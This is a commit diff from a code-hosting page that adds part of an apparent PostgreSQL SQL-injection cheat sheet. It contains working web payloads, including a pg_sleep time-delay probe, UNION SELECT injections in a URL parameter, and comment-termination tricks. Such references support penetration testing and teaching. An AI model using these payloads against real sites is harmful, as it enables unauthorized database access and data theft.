You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<p><i>Note: The comment characters <code> -- </code> are placed after the query to remove any commmands following our query, helping to prevent errors.</i></p>
5
+
<tableclass="table table-striped table-hover">
6
+
<thead>
7
+
<tr>
8
+
<th>Description</th>
9
+
<th>Query</th>
10
+
</tr>
11
+
</thead>
12
+
<tbody>
13
+
<tr>
14
+
<td>Sleep for 10 seconds</td>
15
+
<td>'||pg_sleep(10)--</td>
16
+
</tr>
17
+
<tr>
18
+
<td>Default variables</td>
19
+
<td>SELECT current_user -- </td>
20
+
<td>SELECT session_user -- </td>
21
+
</tr>
22
+
<tr>
23
+
<td>String concatenation</td>
24
+
<td>param='postg'||'resql' -- </td>
25
+
</tr>
26
+
<tr>
27
+
<td>Functions</td>
28
+
<td>version() -- </td>
29
+
<td>SUBSTR() -- </td>
30
+
<td>SUBSTRING() -- </td>
31
+
</tr>
32
+
</tbody>
33
+
</table>
34
+
35
+
<h3id="general-tips">General Tips</h3>
36
+
37
+
<p>Ending a query with a semicolon may cause an error (e.g. ' and 1=1;-- causes an error but ' and 1=1-- does not)</p>
38
+
39
+
<h3id="sql-injection-types">Converting queries to injections</h3>
40
+
41
+
<p>Now that the injection has been identified, the rest of this guide will contain full queries. Use the methods below to insert those queries into your injection points. <code>SELECT current_user</code> will be the example query.</p>
42
+
<tableclass="table table-striped table-hover">
43
+
<thead>
44
+
<tr>
45
+
<th>Description</th>
46
+
<thalign="left">Query</th>
47
+
</tr>
48
+
</thead>
49
+
<tbody>
50
+
<tr>
51
+
<td>Union</td>
52
+
<td>product.asp?id=' UNION SELECT current_user -- </td>
53
+
</tr>
54
+
<tr>
55
+
<td>Union null<br/><i>Note: If original query returns more than one column, add null to equal the number of columns</i></td>
56
+
<td>product.asp?id=' UNION SELECT current_user,null -- <br></td>
0 commit comments